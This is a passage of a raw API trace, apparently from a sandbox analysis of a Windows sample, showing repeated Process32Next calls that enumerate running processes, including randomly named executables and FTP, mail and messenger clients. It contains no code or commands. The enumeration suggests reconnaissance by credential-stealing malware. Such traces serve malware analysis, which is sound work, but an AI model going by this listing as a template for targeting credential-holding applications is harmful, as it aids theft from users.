lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0126.705] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.707] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0126.709] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0126.710] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0126.712] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.714] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.715] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0126.717] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.719] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.721] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.723] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.725] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.726] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.728] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.730] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0126.731] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0126.733] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0126.735] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.737] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0126.739] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0126.741] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0126.743] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0126.745] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0126.747] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0126.748] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0126.750] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.751] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0126.753] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0126.755] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0126.757] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0126.759] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.761] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0126.762] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0126.765] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0126.767] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0126.769] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0126.771] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0126.773] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0126.775] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0126.777] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0126.779] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0126.781] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0126.783] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0126.785] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0126.787] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0126.790] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0126.792] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0126.794] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0126.800] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0126.802] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0126.806] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0126.809] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0126.812] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0126.814] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0126.816] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0126.819] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0126.822] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0126.824] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0126.827] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0126.829] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0126.832] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0126.835] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0126.837] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0126.839] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0126.842] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0126.844] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0126.846] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0126.849] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0126.852] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0126.854] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0126.856] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0126.858] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0126.860] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0126.863] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0126.865] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0126.867] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0126.869] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0126.871] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0126.873] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0126.876] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0126.879] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0126.881] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0126.883] Process32Next (in: hSnapshot=0x1e38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, 